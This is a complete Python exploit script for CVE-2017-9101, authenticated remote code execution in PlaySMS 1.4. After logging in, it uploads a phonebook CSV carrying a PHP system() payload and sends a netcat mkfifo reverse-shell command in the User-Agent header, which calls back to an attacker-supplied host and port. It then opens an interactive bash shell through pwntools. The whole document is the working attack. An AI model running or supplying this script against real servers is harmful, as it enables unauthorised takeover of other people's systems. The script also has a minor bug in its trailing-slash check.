# -*- coding:utf-8 -*-
# PlaySMS 1.4 - Authenticated Remote Code Execution
# CVE:  2017-9101
# Exploit author: Touhid M.Shaikh
# Python script exploit author: Renan Almeida a.k.a. nullarmor <nullarmor@protonmail.com>

import argparse
from random import randint
import requests
import sys
import urllib
from pwn import *

def main():
    global proxies, url
    
    # args
    argparser = argparse.ArgumentParser(description='PlaySMS 1.4 - Authenticated Remote Code Execution',
                                        add_help=False)
    main_arg = argparser.add_argument_group("MAIN")

    main_arg.add_argument('-h', '--help',
                            help='Show this help menu',
                            action='store_true')

    main_arg.add_argument('-u', '--url', type=str,
                            help='PlaySMS URL to exploit',
                            required=True)

    main_arg.add_argument('--username', type=str,
                            help='PlaySMS username',
                            required=True)

    main_arg.add_argument('--password', type=str,
                            help='PlaySMS password',
                            required=True)

    main_arg.add_argument('--lhost', type=str,
                            help='Local host to receive the reverse shell',
                            required=True)
    
    main_arg.add_argument('--lport', type=str,
                            help='Local port to receive the reverse shell (default: 4444)',
                            default='4444')
    
    main_arg.add_argument('--burpsuite', action='store_true',
                            help='Enable BurpSuite\'s proxy')

    args = argparser.parse_args()

    # arg validation
    if args.help:
        argparser.print_help()
        sys.exit(1)

    # cons
    url = args.url
    if url.endswith == '/':
        url = url[:-1]

    username = args.username
    password = args.password
    lhost = args.lhost
    lport = args.lport
    burpsuite = args.burpsuite

    # proxies
    proxies = { "http": "http://127.0.0.1:8080" }

    # requests session
    sess = requests.Session()

    def reverse_shell(l):
        l.sendline('python3 -c "import pty;pty.spawn(\'/bin/bash\')"')
        l.interactive()

    def grab_csrftoken(url):

        log.info("Grabbing the CSRF Token from the PlaySMS web application...")
        
        try:
            if burpsuite:
                r = sess.get(url, proxies=proxies)
            else:
                r = sess.get(url)
        except Exception as e:
            print(e)
            log.failure("Failed due an error!")
            sys.exit(1)
        else:
            try:
                csrftoken = r.text.split('X-CSRF-Token" value="')[1].split('">')[0]
            except Exception as e:
                print(e)
                log.failure("Failed to retrieve the CSRF Token from the page!")
                sys.exit(1)
            else:
                log.success("CSRF Token retireved: " + csrftoken)
                return csrftoken



    def login(url, username, password):

        url_login = url + "/index.php?app=main&inc=core_auth&route=login&op=login"      
        csrftoken = grab_csrftoken(url_login)
        
        l1 = log.progress("Authenticating into PlaySMS")

        params = {
            "X-CSRF-Token": csrftoken,
            "username": username,
            "password": password
        }

        try:
            if burpsuite:
                r = sess.post(url_login, data=params, proxies=proxies)
            else:
                r = sess.post(url_login, data=params)

        except Exception as e:
            l1.failure("An error ocurred while authenticating to PlaySMS, reason: " + str(e))
        
        else:
            if 'core_welcome' in r.url:
                l1.success("User authenticated!")
                return True
            else:
                l1.failure("Failed to log in PlaySMS, check your credentials.")
                sys.exit(1)

        
    def exploit():
        global proxies

        url_exploit = url + '/index.php?app=main&inc=feature_phonebook&route=import'
        csrftoken = grab_csrftoken(url_exploit + '&op=list')

        payload = "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc {} {} > /tmp/f".format(lhost, lport)
        php_payload = "<?php $t=$_SERVER['HTTP_USER_AGENT']; system($t); ?>"
        csv_payload = "Name,Email,Department\n"
        csv_payload += '{},{},{}'.format(php_payload, randint(0, 100), randint(0, 100))
        

        headers = {
            'user-agent': payload,
            'Upgrade-Insecure-Requests': '1',
        }

        files = {
            'X-CSRF-Token': (None, csrftoken),
            'fnpb': ('nullarmor.csv', csv_payload, 'text/csv')
        }

        l = listen(lport)
        l1 = log.progress("Exploiting the PlaySMS")

        if burpsuite:
            try:
                r = sess.post(url_exploit + '&op=import', headers=headers, files=files, proxies=proxies, timeout=5)
            except:
                l1.success("Success!")
                log.info("Spawning the interactive shell")
                reverse_shell(l)

        else:
            try:
                r = sess.post(url_exploit + '&op=import', headers=headers, files=files, timeout=5)
            
            except:
                l1.success("Success!")
                log.info("Spawning the interactive shell")
                reverse_shell(l)

    # main
    log.info("PlaySMS 1.4 - Authenticated Remote Code Execution")
    log.info("Python script exploit author: nullarmor")
    
    if login(url, username, password):
        exploit()


if __name__ == '__main__':
    main()